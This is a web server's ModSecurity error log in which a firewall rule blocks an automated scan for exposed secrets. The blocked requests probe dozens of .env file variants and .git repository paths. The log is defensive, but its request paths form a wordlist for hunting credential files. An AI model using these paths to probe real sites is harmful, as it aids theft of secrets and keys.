[Fri Mar 20 19:00:03.131290 2026] [:error] [pid 49082:tid 49142] [client 162.158.95.120:9438] [client 162.158.95.120] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env.development"] [unique_id "ab0os6pllYJI1LUIdL-rYwAAAUA"]
[Fri Mar 20 19:00:03.176439 2026] [:error] [pid 49082:tid 49145] [client 162.158.95.120:9441] [client 162.158.95.120] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env.dev"] [unique_id "ab0os6pllYJI1LUIdL-rZQAAAUM"]
[Fri Mar 20 19:00:03.197826 2026] [:error] [pid 51714:tid 51731] [client 172.68.193.146:11109] [client 172.68.193.146] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env.test"] [unique_id "ab0oszWI82pxvQ0gksvUQwAAAI8"]
[Fri Mar 20 19:00:04.039217 2026] [:error] [pid 49082:tid 49162] [client 162.158.95.119:11873] [client 162.158.95.119] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env.staging"] [unique_id "ab0otKpllYJI1LUIdL-rZwAAAVQ"]
[Fri Mar 20 19:00:04.071521 2026] [:error] [pid 51714:tid 51718] [client 172.68.193.146:11112] [client 172.68.193.146] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env.backup"] [unique_id "ab0otDWI82pxvQ0gksvURAAAAII"]
[Fri Mar 20 19:00:04.091527 2026] [:error] [pid 49082:tid 49164] [client 162.158.95.120:9447] [client 162.158.95.120] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env.bak"] [unique_id "ab0otKpllYJI1LUIdL-raAAAAVY"]
[Fri Mar 20 19:00:04.139589 2026] [:error] [pid 51714:tid 51729] [client 172.68.193.147:10710] [client 172.68.193.147] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env.old"] [unique_id "ab0otDWI82pxvQ0gksvURQAAAI0"]
[Fri Mar 20 19:00:04.210913 2026] [:error] [pid 27302:tid 27317] [client 172.68.193.147:10717] [client 172.68.193.147] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env.save"] [unique_id "ab0otLDKiUve17xv6yFl3wAAAM0"]
[Fri Mar 20 19:00:04.214454 2026] [:error] [pid 27302:tid 27306] [client 172.68.193.146:11114] [client 172.68.193.146] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env.tmp"] [unique_id "ab0otLDKiUve17xv6yFl4AAAAMI"]
[Fri Mar 20 19:00:05.064610 2026] [:error] [pid 27302:tid 27328] [client 162.158.95.119:11875] [client 162.158.95.119] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env.example"] [unique_id "ab0otbDKiUve17xv6yFl4QAAANg"]
[Fri Mar 20 19:00:05.116411 2026] [:error] [pid 27302:tid 27318] [client 172.68.193.147:10724] [client 172.68.193.147] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env.production.local"] [unique_id "ab0otbDKiUve17xv6yFl4gAAAM4"]
[Fri Mar 20 19:00:05.140610 2026] [:error] [pid 49170:tid 49191] [client 162.158.95.119:11883] [client 162.158.95.119] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env.development.local"] [unique_id "ab0otc-c8ctLVDCqUJVmiQAAABE"]
[Fri Mar 20 19:00:05.155563 2026] [:error] [pid 51714:tid 51738] [client 162.158.95.119:11886] [client 162.158.95.119] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/config/.env"] [unique_id "ab0otTWI82pxvQ0gksvURwAAAJY"]
[Fri Mar 20 19:00:05.213532 2026] [:error] [pid 27302:tid 27322] [client 162.158.95.120:9448] [client 162.158.95.120] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/app/.env"] [unique_id "ab0otbDKiUve17xv6yFl4wAAANI"]
[Fri Mar 20 19:00:05.233962 2026] [:error] [pid 49082:tid 49148] [client 172.68.193.147:10729] [client 172.68.193.147] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/backend/.env"] [unique_id "ab0otapllYJI1LUIdL-raQAAAUY"]
[Fri Mar 20 19:00:06.066445 2026] [:error] [pid 51714:tid 51720] [client 162.158.95.120:9450] [client 162.158.95.120] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/api/.env"] [unique_id "ab0otjWI82pxvQ0gksvUSAAAAIQ"]
[Fri Mar 20 19:00:06.172383 2026] [:error] [pid 49080:tid 49093] [client 162.158.95.120:9454] [client 162.158.95.120] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/admin/.env"] [unique_id "ab0otok5CHi4V0A3ttjr-wAAAEc"]
[Fri Mar 20 19:00:06.177359 2026] [:error] [pid 51714:tid 51732] [client 162.158.95.119:11893] [client 162.158.95.119] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/public/.env"] [unique_id "ab0otjWI82pxvQ0gksvUSQAAAJA"]
[Fri Mar 20 19:00:06.181924 2026] [:error] [pid 51714:tid 51739] [client 172.68.193.146:11122] [client 172.68.193.146] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/core/.env"] [unique_id "ab0otjWI82pxvQ0gksvUSgAAAJc"]
[Fri Mar 20 19:00:06.209016 2026] [:error] [pid 49170:tid 49184] [client 172.68.193.147:10737] [client 172.68.193.147] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/private/.env"] [unique_id "ab0ots-c8ctLVDCqUJVmigAAAAo"]
[Fri Mar 20 19:00:07.095789 2026] [:error] [pid 27302:tid 27316] [client 162.158.95.120:9461] [client 162.158.95.120] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/config/.env.local"] [unique_id "ab0ot7DKiUve17xv6yFl5QAAAMw"]
[Fri Mar 20 19:00:07.207063 2026] [:error] [pid 27302:tid 27320] [client 172.68.193.147:10742] [client 172.68.193.147] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env.json"] [unique_id "ab0ot7DKiUve17xv6yFl5gAAANA"]
[Fri Mar 20 19:00:07.207353 2026] [:error] [pid 49170:tid 49197] [client 172.68.193.146:11134] [client 172.68.193.146] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env_backup"] [unique_id "ab0ot8-c8ctLVDCqUJVmjQAAABc"]
[Fri Mar 20 19:00:07.231289 2026] [:error] [pid 49170:tid 49181] [client 162.158.95.119:11899] [client 162.158.95.119] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env.php"] [unique_id "ab0ot8-c8ctLVDCqUJVmjgAAAAc"]
[Fri Mar 20 19:00:07.238852 2026] [:error] [pid 49170:tid 49182] [client 162.158.95.120:9467] [client 162.158.95.120] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env~"] [unique_id "ab0ot8-c8ctLVDCqUJVmjwAAAAg"]
[Fri Mar 20 19:00:08.295046 2026] [:error] [pid 49170:tid 49195] [client 162.158.95.119:10773] [client 162.158.95.119] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env1"] [unique_id "ab0ouM-c8ctLVDCqUJVmkgAAABU"]
[Fri Mar 20 19:00:08.443946 2026] [:error] [pid 49170:tid 49187] [client 172.68.193.147:9962] [client 172.68.193.147] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env.dist"] [unique_id "ab0ouM-c8ctLVDCqUJVmkwAAAA0"]
[Fri Mar 20 19:00:08.443979 2026] [:error] [pid 27302:tid 27308] [client 172.68.193.147:9956] [client 172.68.193.147] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env2"] [unique_id "ab0ouLDKiUve17xv6yFl6QAAAMQ"]
[Fri Mar 20 19:00:08.462999 2026] [:error] [pid 49081:tid 49126] [client 172.68.193.146:11579] [client 172.68.193.146] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env.orig"] [unique_id "ab0ouBo1LBAUhfhYPR1w4AAAAQs"]
[Fri Mar 20 19:00:08.477957 2026] [:error] [pid 49081:tid 49121] [client 162.158.95.119:10780] [client 162.158.95.119] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.envrc"] [unique_id "ab0ouBo1LBAUhfhYPR1w4QAAAQY"]
[Fri Mar 20 19:00:09.215148 2026] [:error] [pid 49080:tid 49088] [client 172.68.193.146:11587] [client 172.68.193.146] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env.production.bak"] [unique_id "ab0ouYk5CHi4V0A3ttjr_QAAAEI"]
[Fri Mar 20 19:00:09.981557 2026] [:error] [pid 27302:tid 27317] [client 162.158.95.119:10786] [client 162.158.95.119] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env.dev.local"] [unique_id "ab0oubDKiUve17xv6yFl6wAAAM0"]
[Fri Mar 20 19:00:13.291683 2026] [:error] [pid 27302:tid 27309] [client 162.158.95.119:10789] [client 162.158.95.119] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/server/.env"] [unique_id "ab0ovbDKiUve17xv6yFl7QAAAMU"]
[Fri Mar 20 19:00:14.323566 2026] [:error] [pid 49080:tid 49093] [client 172.68.193.146:11592] [client 172.68.193.146] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/srv/.env"] [unique_id "ab0ovok5CHi4V0A3ttjsCAAAAEc"]
[Fri Mar 20 19:00:15.355070 2026] [:error] [pid 49081:tid 49118] [client 172.68.193.147:9969] [client 172.68.193.147] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/web/.env"] [unique_id "ab0ovxo1LBAUhfhYPR1w6wAAAQM"]
[Fri Mar 20 19:00:28.413837 2026] [:error] [pid 49080:tid 49089] [client 172.69.186.179:13975] [client 172.69.186.179] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/www/.env"] [unique_id "ab0ozIk5CHi4V0A3ttjsGwAAAEM"]
[Fri Mar 20 19:00:28.416692 2026] [:error] [pid 49081:tid 49120] [client 172.69.186.31:13649] [client 172.69.186.31] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/var/www/.env"] [unique_id "ab0ozBo1LBAUhfhYPR1xCgAAAQU"]
[Fri Mar 20 19:00:28.682105 2026] [:error] [pid 27302:tid 27315] [client 172.69.186.30:11858] [client 172.69.186.30] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/root/.env"] [unique_id "ab0ozLDKiUve17xv6yFl9AAAAMs"]
[Fri Mar 20 19:00:28.962970 2026] [:error] [pid 51714:tid 51739] [client 172.69.186.150:10225] [client 172.69.186.150] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env_secret"] [unique_id "ab0ozDWI82pxvQ0gksvUVAAAAJc"]
[Fri Mar 20 19:00:29.137709 2026] [:error] [pid 49082:tid 49147] [client 172.68.193.147:9474] [client 172.68.193.147] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/var/www/html/.env"] [unique_id "ab0ozapllYJI1LUIdL-reAAAAUU"]
[Fri Mar 20 19:00:29.148968 2026] [:error] [pid 27302:tid 27312] [client 172.68.193.147:9481] [client 172.68.193.147] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/home/.env"] [unique_id "ab0ozbDKiUve17xv6yFl9QAAAMg"]
[Fri Mar 20 19:00:29.398260 2026] [:error] [pid 27302:tid 27319] [client 172.68.193.146:12052] [client 172.68.193.146] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env_config"] [unique_id "ab0ozbDKiUve17xv6yFl9wAAAM8"]
[Fri Mar 20 19:00:29.657961 2026] [:error] [pid 51714:tid 51724] [client 172.68.193.146:12298] [client 172.68.193.146] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.git/HEAD"] [unique_id "ab0ozTWI82pxvQ0gksvUVgAAAIg"]
[Fri Mar 20 19:00:29.956095 2026] [:error] [pid 49082:tid 49160] [client 172.68.193.147:9489] [client 172.68.193.147] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env_settings"] [unique_id "ab0ozapllYJI1LUIdL-rewAAAVI"]
[Fri Mar 20 19:00:30.156351 2026] [:error] [pid 51714:tid 51731] [client 172.68.193.146:12054] [client 172.68.193.146] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env.local.backup"] [unique_id "ab0ozjWI82pxvQ0gksvUWAAAAI8"]
[Fri Mar 20 19:00:30.164334 2026] [:error] [pid 49082:tid 49155] [client 172.68.193.146:12303] [client 172.68.193.146] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.git/index"] [unique_id "ab0ozqpllYJI1LUIdL-rfQAAAU0"]
[Fri Mar 20 19:00:30.461416 2026] [:error] [pid 49081:tid 49118] [client 162.158.95.119:11274] [client 162.158.95.119] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.git/refs/heads/master"] [unique_id "ab0ozho1LBAUhfhYPR1xDAAAAQM"]
[Fri Mar 20 19:00:30.668507 2026] [:error] [pid 49081:tid 49136] [client 172.68.193.147:9603] [client 172.68.193.147] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.git/refs/heads/main"] [unique_id "ab0ozho1LBAUhfhYPR1xDQAAARU"]
[Fri Mar 20 19:00:30.669133 2026] [:error] [pid 51714:tid 51716] [client 172.68.193.147:9607] [client 172.68.193.147] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env"] [unique_id "ab0ozjWI82pxvQ0gksvUWgAAAIA"]
[Fri Mar 20 19:00:30.967282 2026] [:error] [pid 49081:tid 49137] [client 162.158.95.119:11278] [client 162.158.95.119] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env.local"] [unique_id "ab0ozho1LBAUhfhYPR1xDwAAARY"]
[Fri Mar 20 19:00:31.170177 2026] [:error] [pid 49081:tid 49131] [client 172.68.193.146:12310] [client 172.68.193.146] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env.production"] [unique_id "ab0ozxo1LBAUhfhYPR1xEAAAARA"]
[Fri Mar 20 19:00:31.467120 2026] [:error] [pid 49081:tid 49138] [client 172.68.193.146:12316] [client 172.68.193.146] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env.dev"] [unique_id "ab0ozxo1LBAUhfhYPR1xEQAAARc"]
[Fri Mar 20 19:00:31.679218 2026] [:error] [pid 49081:tid 49134] [client 162.158.95.119:11281] [client 162.158.95.119] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env.test"] [unique_id "ab0ozxo1LBAUhfhYPR1xEgAAARM"]
[Fri Mar 20 19:00:31.987791 2026] [:error] [pid 51714:tid 51726] [client 172.68.193.147:9612] [client 172.68.193.147] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env.staging"] [unique_id "ab0ozzWI82pxvQ0gksvUWwAAAIo"]
[Fri Mar 20 19:00:32.191594 2026] [:error] [pid 51714:tid 51722] [client 172.68.193.147:9615] [client 172.68.193.147] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env.backup"] [unique_id "ab0o0DWI82pxvQ0gksvUXAAAAIY"]
[Fri Mar 20 19:00:32.509477 2026] [:error] [pid 49080:tid 49109] [client 172.68.193.147:9620] [client 172.68.193.147] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env.bak"] [unique_id "ab0o0Ik5CHi4V0A3ttjsHAAAAFc"]
[Fri Mar 20 19:00:32.701980 2026] [:error] [pid 27302:tid 27308] [client 162.158.95.119:11287] [client 162.158.95.119] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env.old"] [unique_id "ab0o0LDKiUve17xv6yFl-AAAAMQ"]
[Fri Mar 20 19:00:49.626808 2026] [:error] [pid 51714:tid 51717] [client 172.68.193.146:11980] [client 172.68.193.146] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env.development.local"] [unique_id "ab0o4TWI82pxvQ0gksvUZgAAAIE"]
